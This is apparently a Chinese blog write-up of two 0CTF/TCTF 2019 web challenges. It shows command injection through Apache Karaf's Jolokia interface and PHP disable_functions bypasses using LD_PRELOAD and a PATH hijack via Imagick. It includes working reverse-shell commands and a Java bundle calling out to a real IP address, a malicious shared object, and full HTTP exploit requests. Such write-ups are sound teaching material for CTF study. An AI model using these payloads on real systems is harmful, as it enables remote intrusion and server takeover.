Learning Man's Blog

0CTF/TCTF 2019 WEB writeup

字数统计: 2.7k阅读时长: 14 min
2019/03/30

0x01 Ghost Pepper

题目

karaf + jolokia

解题思路

官方文档部分内容:

Instance

跟入startInstace,可以看到除了第一种重载外,在instance启动时都加载了opts参数

// org.apache.karaf.instance.core.internal.InstancesMBeanImpl#startInstance(...)

public void startInstance(String name) throws MBeanException {
    try {
        getExistingInstance(name).start(null); // HERE
    } catch (Exception e) {
        throw new MBeanException(null, e.toString());
    }
}

public void startInstance(String name, String opts) throws MBeanException {
    try {
        getExistingInstance(name).start(opts); // HERE
    } catch (Exception e) {
        throw new MBeanException(null, e.toString());
    }
}

public void startInstance(String name, String opts, boolean wait, boolean debug) throws MBeanException {
    try {
        Instance child = getExistingInstance(name);
        String options = opts;
        if (options == null) {
            options = child.getJavaOpts();
        }
        if (options == null) {
            options = DEFAULT_OPTS;
        }
        if (debug) {
            options += DEBUG_OPTS;
        }
        if (wait) {
            String state = child.getState();
            if (Instance.STOPPED.equals(state)) {
                child.start(opts);
            }
            if (!Instance.STARTED.equals(state)) {
                do {
                    Thread.sleep(500);
                    state = child.getState();
                } while (Instance.STARTING.equals(state));
            }
        } else {
            child.start(opts); // HERE
        }
    } catch (Exception e) {
        throw new MBeanException(null, e.toString());
    }
}

跟入startInstance后,在doStart中加载 opts 变量

// org.apache.karaf.instance.core.internal.InstanceServiceImpl#startInstance
public void startInstance(final String name, final String javaOpts) {
    execute(state -> {
        InstanceState instance = state.instances.get(name);
        if (instance == null) {
            throw new IllegalArgumentException("Instance " + name + " not found");
        }
        checkPid(instance);
        if (instance.pid != 0) {
            throw new IllegalStateException("Instance already started");
        }
        doStart(instance, name, javaOpts);
        return null;
    }, true);
}

跟入doStart后,可见opts被拼接到command中并带入到新进程中

// org.apache.karaf.instance.core.internal.InstanceServiceImpl#doStart
private void doStart(InstanceState instance, String name, String javaOpts) throws IOException {
    String opts = javaOpts;
    if (opts == null || opts.length() == 0) {
        opts = instance.opts;
    }
    if (opts == null || opts.length() == 0) {
        opts = DEFAULT_JAVA_OPTS;
    }

    ...
    String command = "\""
            + new File(System.getProperty("java.home"), ScriptUtils.isWindows() ? "bin\\java.exe" : "bin/java").getCanonicalPath()
            + "\" " + opts
            + " " + karafOpts
            + " " + jdkOpts
            + " -Djava.util.logging.config.file=\"" + new File(location, "etc/java.util.logging.properties").getCanonicalPath() + "\""
            + " -Dkaraf.home=\"" + System.getProperty("karaf.home") + "\""
            + " -Dkaraf.base=\"" + new File(location).getCanonicalPath() + "\""
            + " -Dkaraf.data=\"" + new File(new File(location).getCanonicalPath(), "data") + "\""
            + " -Dkaraf.etc=\"" + new File(new File(location).getCanonicalPath(), "etc") + "\""
            + " -Dkaraf.log=\"" + new File(new File(new File(location).getCanonicalFile(), "data"), "log") + "\""
            + " -Djava.io.tmpdir=\"" + new File(new File(location).getCanonicalPath(), "data" + File.separator + "tmp") + "\""
            + " -Dkaraf.startLocalConsole=false"
            + " -Dkaraf.startRemoteShell=true"
            + " -classpath \"" + classpath.toString() + "\""
            + " org.apache.karaf.main.Main server";
    if (System.getenv("KARAF_REDIRECT") != null && !System.getenv("KARAF_REDIRECT").isEmpty()) {
        command = command + " >> " + System.getenv("KARAF_REDIRECT");
    }

    LOGGER.debug("Starting instance " + name + " with command: " + command);
    Process process = new ProcessBuilderFactoryImpl().newBuilder()
            .directory(new File(location))
            .command(command)
            .start();
    instance.pid = process.getPid();
}
// org.apache.karaf.jpm.impl.ProcessImpl#create
public static Process create(File dir, String command) throws IOException {
    ...
    try {
        ...
        if (ScriptUtils.isWindows()) {
            command = command.replaceAll("\"", "\"\"");
        }
        props.put("${command}", command);
        int ret = ScriptUtils.execute("start", props);
        if (ret != 0) {
            throw new IOException("Unable to create process (error code: " + ret + ")");
        }
        ...
    } finally {
        ...
    }
}

最后跟入到这里,基本确定是通过替换unix/start.sh${command}替换为opts后执行,且没有过滤

// org.apache.karaf.jpm.impl.ScriptUtils
public static int execute(String name, Map<String, String> props) throws IOException {
    File script = File.createTempFile("jpm.", ".script");
    try {
        if (isWindows()) {
            ...
        } else {
            String res = "unix/" + name + ".sh";
            ScriptUtils.copyFilteredResource(res, script, props);
            return executeProcess(new java.lang.ProcessBuilder("/bin/sh", script.getCanonicalPath()));
        }
    } finally {
        script.delete();
    }
}

public static void copyFilteredResource(String resource, File outFile, Map<String, String> props) throws IOException {
    InputStream is = null;
    try {
        is = ScriptUtils.class.getResourceAsStream(resource);
        ...
        PrintStream out = new PrintStream(new FileOutputStream(outFile));
        try {
            Scanner scanner = new Scanner(is);
            while (scanner.hasNextLine() ) {
                String line = scanner.nextLine();
                line = filter(line, props);
                ...
  ...
}

private static String filter(String line, Map<String, String> props) {
    for (Map.Entry<String, String> i : props.entrySet()) {
        int p1 = line.indexOf(i.getKey());
        if( p1 >= 0 ) {
            String l1 = line.substring(0, p1);
            String l2 = line.substring(p1+i.getKey().length());
            line = l1+i.getValue()+l2;
        }
    }
    return line;
}

通过拼接完整命令过于复杂,不如直接使用||直接使前面的命令错误后执行恶意代码并使用#忽略后面的命令

any sh script code || exp code # comment code

  • createInstance 可以还有p9,默认值为localhost
  • startInstance 必须是argc == 2 or 4,因为这样才会加载opts

关键的接口

{
    "org.apache.karaf":
    {
        "name=root,type=instance":
        {
            "op":
            {
                "createInstance": [
                {
                    "args": [
                    {
                        "name": "p1",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p2",
                        "type": "int",
                        "desc": ""
                    },
                    {
                        "name": "p3",
                        "type": "int",
                        "desc": ""
                    },
                    {
                        "name": "p4",
                        "type": "int",
                        "desc": ""
                    },
                    {
                        "name": "p5",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p6",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p7",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p8",
                        "type": "java.lang.String",
                        "desc": ""
                    }],
                    "ret": "int",
                    "desc": "Operation exposed for management"
                }],
                "cloneInstance":
                {
                    "args": ["..."],
                    "ret": "void",
                    "desc": "Operation exposed for management"
                },
                "startInstance":
                {
                    "args": [
                    {
                        "name": "p1",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p2",
                        "type": "java.lang.String",
                        "desc": ""
                    }],
                    "ret": "void",
                    "desc": "Operation exposed for management"
                }
            }
        }
    }
}

创建instance,这里可以选择填或不填opts

-w1001

启动instance

{
    "type" : "exec",
    "mbean" : "org.apache.karaf:name=root,type=instance",
    "operation": "startInstance(java.lang.String,java.lang.String)",
    "arguments": ["expIns","|| /bin/bash -i >& /dev/tcp/132.232.84.148/9991 0>&1 #"]
}

反弹shell,获取flag

-w327

bundle

  1. 可用于远程安装bundle的接口
{
    "org.apache.karaf":
    {
        "name=root,type=bundle":
        {
            "op":
            {
                "install": [
                {
                    "args": [
                    {
                        "name": "p1",
                        "type": "java.lang.String",
                        "desc": ""
                    }],
                    "ret": "long",
                    "desc": "Operation exposed for management"
                },
                {
                    "args": [
                    {
                        "name": "p1",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p2",
                        "type": "boolean",
                        "desc": ""
                    }],
                    "ret": "long",
                    "desc": "Operation exposed for management"
                }]
            }
        }
    },
    "osgi.core":
    {
        "framework=org.eclipse.osgi,type=framework,uuid=de99e068-9c3d-43ec-9355-ae980625a263,version=1.7":
        {
            "op":
            {

                "installBundleFromURL":
                {
                    "args": [
                    {
                        "name": "p1",
                        "type": "java.lang.String",
                        "desc": ""
                    },
                    {
                        "name": "p2",
                        "type": "java.lang.String",
                        "desc": ""
                    }],
                    "ret": "long",
                    "desc": "Operation exposed for management"
                }
            }
        }
    }
}

对应安装请求

# 这个没看到相关文档
{
    "type": "exec",
    "mbean": "org.apache.karaf:name=root,type=bundle",
    "operation": "install(java.lang.String)",
    "arguments": ["http://<url>/<filename>.jar"]
}

# https://osgi.org/javadoc/r5/enterprise/org/osgi/jmx/framework/FrameworkMBean.html
{
    "type": "exec",
    "mbean": "osgi.core:framework=org.eclipse.osgi,type=framework,uuid=92c6536a-252a-4073-9d86-6de14c65b099,version=1.7",
    "operation": "installBundleFromURL",
    "arguments": [
        "<custom>",
        "http://<url>/<filename>.jar"
    ]
}
  1. 启动bundle
{
    "type": "exec",
    "mbean": "org.apache.karaf:name=root,type=bundle",
    "operation": "start",
    "arguments": ["<id>"]
}

思路:通过上面的jmx接口直接安装bundle,再请求启动,通过构造恶意bundle反弹shell

bundle构造参考:https://chenjingbo.iteye.com/blog/1893597
反弹shell参考:https://gist.github.com/caseydunham/53eb8503efad39b83633961f12441af0

import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Activator implements BundleActivator {
    @Override
    public void start(BundleContext context) throws Exception {
        try {
            try {
                String host = "132.232.84.148";
                int port = 9991;
                Socket s = new Socket(host, port);
                String cmd = "/bin/sh";
                Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
                InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
                OutputStream po = p.getOutputStream(), so = s.getOutputStream();
                while (!s.isClosed()) {
                    while (pi.available() > 0)
                        so.write(pi.read());
                    while (pe.available() > 0)
                        so.write(pe.read());
                    while (si.available() > 0)
                        po.write(si.read());
                    so.flush();
                    po.flush();
                    Thread.sleep(50);
                }
                p.destroy();
                s.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        } catch (Exception e) {
        }
    }

    @Override
    public void stop(BundleContext context) throws Exception {
        System.out.println("GoodDay Sariel.D");
    }
}

请求安装bundle,从response中获取id

-w1008

启动bundle,反弹shell,获取flag

-w329

webconsole

Webconsole - https://karaf.apache.org/manual/latest/#_webconsole_2

思路:通过installFeature接口安装webconsole直接通过web terminal获取flag

{
    "org.apache.karaf":
    {
        "name=root,type=feature":
        {
            "op":
            {
                "installFeature":
                {
                    "args": [
                    {
                        "name": "p1",
                        "type": "java.lang.String",
                        "desc": ""
                    }],
                    "ret": "void",
                    "desc": "Operation exposed for management"
                }
            }
        }
    }
}

请求安装webconsole

# Request
http://111.186.63.207:31337/jolokia/exec/org.apache.karaf:name=root,type=feature/installFeature(java.lang.String)/webconsole

# Response
{"request":{"mbean":"org.apache.karaf:name=root,type=feature","arguments":["webconsole"],"type":"exec","operation":"installFeature(java.lang.String)"},"value":null,"timestamp":1553784696,"status":200}

访问 http://111.186.63.207:31337/system/console/gogo

0x02 Wallbreaker Easy

题目

Imagick is a awesome library for hackers to break disable_functions.
So I installed php-imagick in the server, opened a backdoor for you.
Let’s try to execute /readflag to get the flag.
Open basedir: /var/www/html:/tmp/ebfefbea019329429795eddb87a42b03
Hint: eval($_POST[“backdoor”]);

题目提示

  1. open basedir
  2. bypass disable_functions

查看一下被禁用的函数

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

解题思路

putenv — 设置环境变量的值

(PHP 4, PHP 5, PHP 7)

putenv ( string $setting ) : bool

添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。

设置特定的环境变量也有可能是一个潜在的安全漏洞。 safe_mode_allowed_env_vars 包含了一个以逗号分隔的前缀列表。 在安全模式下,用户可以仅能修改用该指令设定的前缀名称的指令。 默认情况下,用户仅能够修改以 PHP_ 开头的环境变量(例如 PHP_FOO=BAR)。 注意:如果此指令是空的,PHP允许用户设定任意环境变量!

可以利用的两种姿势

  1. 巧用LD_PRELOAD突破disable_functions
  2. putenv代替LD_PRELOAD设定PATH

LD_PRELOAD

Orz当时没有仔细看完文章,在文章最下面提到了预加载时执行恶意代码。

通过设置函数属性使恶意函数在main前执行(实际上恶意bin内并没有main)

void __attribute__((constructor)) callFunction();

相关链接:

  1. https://www.geeksforgeeks.org/__attribute__constructor-__attribute__destructor-syntaxes-c/
  2. https://gcc.gnu.org/onlinedocs/gcc-6.2.0/gcc/Common-Function-Attributes.html

思路:编译so目标执行/readflag或者反弹shell,在远程服务器上下载so文件,putenv设置LD_PRELOAD为so路径,利用Imagick创建新进程加载共享对象so执行恶意代码

准备恶意exp.so

#define _GUN_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__((__constructor__)) void preload(void){
    system("/readflag > /tmp/67a58821b4954ed1fc03f797da745bbc/flag");
}

编译,默认64位(若需86位添加-m32

gcc -shared -fPIC exp -o exp.so

几种远程文件下载方式

file_put_contents('/local/path/filename', fopen('http://url/filename', 'r'));
copy('http://url/filename', '/local/path/filename');

Request 数据包

Content-Type: multipart/form-data; boundary=--------414593323

----------414593323
Content-Disposition: form-data; name="backdoor"


echo('---start---\n');
copy('http://url/exp.so', '/tmp/67a58821b4954ed1fc03f797da745bbc/exp.so');
file_put_contents('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png', base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWP4////fwAJ+wP9CNHoHgAAAABJRU5ErkJggg=='));
putenv('LD_PRELOAD=/tmp/67a58821b4954ed1fc03f797da745bbc/exp.so');
$c = new Imagick('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png');
$c -> writeImage('/tmp/67a58821b4954ed1fc03f797da745bbc/1.wmv');
echo('---end---');

----------414593323--

putenv

除了利用Imagick创建新进程加载共享对象时注入恶意代码,可以直接利用putenv设定在恶意path下寻找目标bin,而通过恶意bin和目标bin重名,使得恶意代码被主动执行

Imagick在进行图片格式转换时部分是委托(delegate)给外部程序来实现,以bpg为例,会在执行目录下搜索bpgenc程序

<!-- config/delegates.xml.in -->
<delegatemap>
  <delegate decode="bpg" command="&quot;@BPGDecodeDelegate@&quot; -b 16 -o &quot;%o.png&quot; &quot;%i&quot;; @MVDelegate@ &quot;%o.png&quot; &quot;%o&quot;"/>

configure.ac文件声明的外部调用程序基本都可用于实现攻击

# configure.ac
BPGDecodeDelegateDefault='bpgdec'

本地尝试转换png为bpg,可以看到php尝试execve进程执行

root@test:/tmp# strace -f php test.php 2>&1 | grep -A2 -B2 execve
execve("/usr/bin/php", ["php", "test.php"], 0x7ffedbee34b0 /* 40 vars */) = 0
brk(NULL)                               = 0x55d9adb9c000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
--
 
[pid 23113] set_robust_list(0x7f25bc716e60, 24) = 0
[pid 23113] execve("/usr/local/sbin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/usr/local/bin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/usr/sbin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/usr/bin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/sbin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)
[pid 23113] execve("/bin/bpgenc", ["bpgenc", "-b", "12", "-o", "/tmp/magick-23112Am2ebtcfSZD8", "/tmp/magick-23112dDlqBux48E4B"], 0x55d9adbade70 /* 40 vars */) = -1 ENOENT (No such file or directory)

思路:通过生成bpgenc程序(赋予执行权限),putenv设置PATH为bin所在路径,这样imagick转换bpg文件时即会执行bpgenc。反弹shell或者直接读取flag均可

POST / HTTP/1.1
Host: 111.186.63.208:31340
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=--------414593323
Content-Length: 714

----------414593323
Content-Disposition: form-data; name="backdoor"


echo('---start---\n');
file_put_contents('/tmp/67a58821b4954ed1fc03f797da745bbc/bpgenc', "#!/bin/bash\n/bin/bash -i >& /dev/tcp/132.***.***.***/8088 0>&1");
file_put_contents('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png', base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQImWP4////fwAJ+wP9CNHoHgAAAABJRU5ErkJggg=='));
putenv('PATH=/tmp/67a58821b4954ed1fc03f797da745bbc/');
chmod('/tmp/67a58821b4954ed1fc03f797da745bbc/bpgenc', 0777);
$c = new Imagick();
$c -> readImage('/tmp/67a58821b4954ed1fc03f797da745bbc/1.png');
$c -> writeImage('/tmp/67a58821b4954ed1fc03f797da745bbc/1.bpg');
echo('---end---');

----------414593323--

获取flag

[root@vm_0_17_centos ~]# nc -lvvp 8088
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8088
Ncat: Listening on 0.0.0.0:8088
Ncat: Connection from 111.186.63.208.
Ncat: Connection from 111.186.63.208:49820.
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
bash: groups: command not found
www-data@5ad7cec6b953:~/html$ /readflag
/readflag
flag{PUTENVANDIMAGICKAREGOODFRIENDS}

参考资料(其它)

  1. https://paper.tuisec.win/detail/d4ba64dd4d1dc38
  2. https://touhidshaikh.com/blog/?p=827
CATALOG
  1. 1. 0x01 Ghost Pepper
    1. 1.1. 题目
    2. 1.2. 解题思路
      1. 1.2.1. Instance
      2. 1.2.2. bundle
      3. 1.2.3. webconsole
  2. 2. 0x02 Wallbreaker Easy
    1. 2.1. 题目
    2. 2.2. 解题思路
      1. 2.2.1. LD_PRELOAD
      2. 2.2.2. putenv
  3. 3. 参考资料(其它)